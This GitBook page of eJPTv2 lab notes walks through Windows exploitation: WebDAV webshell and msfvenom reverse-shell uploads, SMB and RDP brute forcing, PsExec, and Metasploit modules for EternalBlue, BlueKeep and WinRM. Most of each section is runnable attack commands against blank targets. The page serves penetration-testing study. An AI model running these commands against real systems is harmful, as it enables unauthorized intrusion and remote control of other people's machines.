> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/system-host-based-attacks/windows-vulnerabilities/windows-exploitation.md). # Windows Exploitation ### Exploiting Microsoft IIS WebDAV **Microsoft IIS** * IIS (Internet Information Services) is a proprietary extensible web server software developed by Microsoft for use with the Windows NT family. * It can be used to host websites/web apps and provides administrators with a robust GUI for managing websites. * IIS can be used to host both static and dynamic web pages developed in ASP.NET and PHP. * Typically configured to run on ports 80/443. * Supported executable file extensions. * .asp * .aspx * .config * .php **WebDAV** * WebDAV (Web-based Distributed Authoring and Versioning) is a set of extensions to the HTTP protocol which allow users to collaboratively edit and manage files on remote web servers. * WebDAV essentially enables a web server to function as a file server for collaborative authoring. * WebDAV runs on top Microsoft IIS on ports 80/443. * In order to connect to a WebDAV server, you will need to provide legitimate credentials. This is because WebDAV implements authentication in the form of a username and password. **WebDAV Exploitation** * The first step of the exploitation process will involve identifying whether WebDAV has been configured to run on the IIS web server. * We can perform a brute-force attack on the WebDAV server in order to identify legitimate credentials that we can use for authentication. * After obtaining legitimate credentials, we can authenticate with the WebDAV server and upload a malicious .asp payload that can be used to execute arbitrary commands or obtain a reverse shell on the target. **Tools** * **davtest** - used to scan, authenticate and exploit a WebDAV server. * Pre-installed on most offensive penetration testing distributions like Kali and Parrot OS. * **cadaver** - cadaver supports file upload, download, on-screen display, in-place editing, namespace operations (move/copy), collection creation and deletion, property manipulation, and resource locking on WebDAV servers. * Pre-installed on most offensive penetration testing distributions like Kali and Parrot OS. **Demo: Exploiting Microsoft IIS WebDAV** ``` nmap -sV -sC ``` * WebDAV directory enumeration ``` nmap -sV -p 80 --script=http-enum ``` * brute force WebDAV authenticaiton on its directory ``` hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt http-get /webdav/ ``` *Note*: In a real penetration test, you need to be very careful with the brute force attacks as it potentially causes the DoS * davtest connects and checks what all operation we can do on the WebDAV ``` davtest -url http:///webdav -auth bob:password_123321 ``` * cadaver is used to upload, delete, execute and manage the file on the WebDAV ``` cadaver http:///webdav Username: bob Password : > ls > put /usr/share/webshells/asp/webshell.asp ``` Kali has webshell folder on it at **/usr/share/webshells** * We got a command execution on the site. *** ### Exploiting WebDAV with Metasploit ``` nmap -sV -p80 --script=http-enum ``` * **msfvenom -** msfvenom is a Metasploit tool that allows you to generate a payloads that will essentially provide you with a reverse shell access or remote access to a target system. ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp ``` ``` cadaver http:///webdav > put /root/shell.asp ``` * Start metasploit listener ``` msfconsole -q > use multi\handler > set payload windows/meterpreter/reverse_tcp > set lhost > set lport > run >>> sysinfo >>> getuid ``` * click on shell.asp ``` msfconsole -q > search iis upload > use exploit/windows/iis/iis_webdav_upload_asp > set lhost > set HttpUsername bob > set HttpPassword password_123321 > set rhosts > set PATH /webdav/metasploit.asp > exploit >>> sysinfo ``` *** ### Exploiting SMB with PsExec **SMB** * SMB (Server Message Block) is a network file sharing protocol that is used to facilitate the sharing of files and peripherals (printers and serial ports) between computers on a local network (LAN). * SMB uses port 445 (TCP). However, originally, SMB ran on top of NetBIOS using port 139. * SAMBA is the open source Linux implementation of SMB, allows Windows systems to access Linux shares and devices. **SMB Authentication** * The SMB protocol utilizes two levels of authentication, namely: * **User Authentication** - Users must provide a username and password in order to authenticate with the SMB server in order to access a share. * **Share Authentication** - Users must provide a password in order to access restricted share. *Note: Both of these authentications levels utilize a challenge response authentication system.*

SMB Authentication

**PsExec** * PsExec is a lightweight telnet replacement developed by Microsoft that allows you execute processes remote windows systems using any user's credentials. * PsExec authentication is performed via SMB. * We can use the PsExec utility to authenticate with the target system legitimately and run arbitrary commands or launch a remote command prompt. * It is very similar to RDP, however, instead of controlling the remote system via GUI, commands are sent via CMD. **SMB Exploitation with PsExec** * In order to utilize PsExec to gain access to gain access to a Windows target, we will need to identify legitimate user accounts and their respective passwords or password hashes. * This can be done by leveraging various tools and techniques, however, the most common technique will involve performing an SMB login brute-force attack. * We can narrow down our brute-force attack to only include common Windows user accounts like * Administrator * After we have obtained a legitimate user account and password, we can use the credentials to authenticate with the target system via PsExec and execute arbitrary system commands or obtain a reverse shell. **Demo: Exploiting SMB with PsExec** ``` nmap -sC -sV ``` ``` service postgresql start && msfconsole -q > search smb_login > use auxiliary/scanner/smb/smb_login > show options > set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt > set RHOSTS > set Verbose false > run ``` ``` psexec.py Administrator@ cmd.exe ``` ``` msfconsole > search psexec > use exploit/windows/smb/psexec > set RHOSTS > show options > set SMBUser Administrator > set SMBPass qwertyuiop > exploit >>>> whomai >>>> getuid ``` ### Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue) **MS17-010 EternalBlue Exploit** * EternalBlue (MS17-010/CVE-2017-0144) is the name given to a collection of Windows vulnerabilities and exploits that allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of. * The EternalBlue exploit was developed by the NSA (National Security Agency) to take advantages of the MS17-010 vulnerability and was leaked to the public by a hacker group called the Shadow Brokers in 2017. * The EternalBlue exploit takes advantage of a vulnerability in the Windows SMBv1 Protocol that allows attackers to send specially crafted packets that consequently facilitate the execution of arbitrary commands. * The EternalBlue exploit was used in the WannaCry ransomware attack on June 27, 2017 to exploit other Windows systems across networks with the objective of spreading the ransomware to as many systems as possible. * This vulnerability affects multiple versions of Windows: * Windows Vista * Windows 7 * Windows Server 2008 * Windows 8.1 * Windows Server 2012 * Windows 10 * Windows Server 2016 * Microsoft released a patch of the vulnerability in March 2017, however, many users and companies have still not yet patched their systems. * The EternalBlue exploit has a MSF auxiliary module that can be used to check if a target system if vulnerability to the exploit and also has an exploit module that can be used to exploit the vulnerability on unpatched systems. * The EternalBlue exploit module can be used to exploit vulnerable Windows systems and consequently provide us with a privileged meterpreter session on the target system. * In addition to MSF modules, we can also manually exploit the vulnerability by utilizing publicly available exploit code. **Tools & Environment** * AutoBlue-MS17-010: * Target system: Windows Server 2008 R2 * Penetration Testing distribution: Kali Linux **Demo: Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue)** ``` sudo nmap -sV -p 445 ``` ``` sudo nmap -p 445 --script=smb-vuln-ms17-010 ``` ``` pip install -r requirements.txt ``` ``` chmod +x shell_prep.sh y 1 1 ``` *Note: msfvenom -p windows/x64/shell\_reverse\_tcp -f raw -o sc\_x64\_msf.bin EXITFUNC=thread LHOST=\ LPORT=\* * Start the listener ``` nc -lvnp ``` ``` chmod +x eternalblue_exploit7.py ``` ``` python ethernalblue_exploit7.py shellcode/sc_x64.bin ``` * we got the reverse shell with highest privileges **Metasploit EternalBlue** ``` msfconsole -q > search eternalblue > use exploit/windows/smb/ms17_010_eternalblue > set RHOSTS > exploit ``` * auxiliary/scanner/smb/smb\_ms17\_010 for EternalBlue Detection * exploit/windows/smb/ms17\_010\_eternalblue for *** ### Exploiting RDP * The Remote Desktop Protocol (RDP) is a proprietary GUI remote access protocol developed by Microsoft and is used to remotely connect and interact with a Windows system. * RDP uses TCP port 3389 by default, and can also be configured to run on any other TCP port. * RDP authentication requires a legitimate user account on the target system as well as the user's password in clear text. * We can perform an RDP brute-force attack to identify legitimate user credentials that we can use to gain remote access to the target system. **DEMO: Exploiting RDP** ``` nmap -sV -p- ``` * To detect the RDP port ``` service postgresql start && msfconsole -q > search rdp_scanner > show options > set RHOSTS > set RPORT > run ``` ``` hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp:// -s ``` * RDP connect ``` xfreerdp /u: /p: /v:: ``` ``` xfreerdp /u:administrator /p:qwertyuiop /v:: ``` * **rdesktop** - another application for RDP connection *** ### Exploiting Windows CVE-2019-0708 RDP Vulnerability (BlueKeep) * BlueKeep (CVE-2019-0708) is the name given to an RDP vulnerability in Windows that could potentially allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of. * The BlueKeep vulnerability was made public by Microsoft in May 2019. * The BlueKeep exploit takes advantage of a vulnerability in the Windows RDP protocol that allows attackers to gain access to a chunk of kernel memory consequently allowing them to remotely execute arbitrary code at the system level without authentication. * Microsoft released a patch for this vulnerability on May 14th, 2019 and has urged companies to patch this vulnerability as soon as possible. * At the time of discovery, about 1 million systems worldwide were found to be vulnerable * The BlueKeep vulnerability affects multiple versions of Windows: * XP * Vista * Windows 7 * Windows Server 2008 & R2 * The BlueKeep Vulnerability has various illegitmate PoC's and exploit code that could be malicious in nature. It is therefore recommended to only utilize verified exploit code and modules for exploitation. * The BlueKeep exploit has an MSF auxiliary module that can be used to check if a target system is vulnerable to the exploit and also has an exploit module that can be used to exploit the vulnerability on unpatched systems. * The BlueKeep exploit module can be used to exploit vulnerable Windows systems and consequently provide us with a privileged meterpreter session on the target system. *Note: Targeting Kernel Space memory and applications can cause system crashes.* **Demo: Exploiting Windows CVE-2019-0708 RDP Vulnerability (BlueKeep)** ``` nmap -p 3389 ``` ``` msfconsole -q > search BlueKeep > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep > set RHOSTs > run ``` ``` msfconsole -q > search BlueKeep > use exploit/rdp/cve_2019_0708_bluekeep_rce > set RHOSTS > show targets > set target 2 > exploit ``` *** ### Exploiting WinRM * WinRM is a feature with the Windows itself, however it is not configured to run default and needs to be explicitly configured and enabled. **What is WinRM and Exploiting WinRM?** * Windows Remote Management (WinRM) is a Windows remote management protocol that can be used to facilitate remote access with Windows systems over HTTP(S). * Microsoft implement WinRM in to WIndows in order to make life easier for system administrators. * WInRM is typically used in the following ways: * Remotely access and interact with Windows hosts on a local network. * Remotely access and execute commands on Windows Systems. * Manage and configure Windows systems remotely. * WinRM typically uses TCP port 5985 and 5986 (HTTPS). * WinRM implements access control and security for communication between systems through various forms of authentication. * We can utilize a utility called "**crackmapexec**" to perform a brute-force on WinRM in order to identify usrs and their passwords as well as execute commands on the target system. * We can also utilize a ruby script called "**evil-winrm**" to obtain a command shell session on the target system. **Demo: Exploiting WinRM** ``` nmap -sV ``` ``` nmap -sV -p 5985 ``` ``` crackmapexec ``` * its a swiss army knife for pentesting networks ``` crackmapexec winrm -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ``` * administrator as its first account created, elevated permission and admin uses it for obvious reasons * to run command with winrm after knowing password ``` crackmapexec winrm -u administrator -p tinkerbell -x "whoami" ``` ``` crackmapexec winrm -u administrator -p tinkerbell -x "systeminfo" ``` * evil-winrm.rb to get command shell ``` evil-winrm.rb -u administrator -p 'tinkerbell' -i ``` * meterpreter shell ``` service postgresql start && msfconsole -q > search winrm_script > use exploit/windows/winrm/winrm_script_exec > show options > set RHOSTS > set FORCE_VBS true > set username administrator > set password tinkerbell > exploit >>>> sysinfo >>>> getuid ``` *It sometimes doesn't work so we need to keep try this attack* ***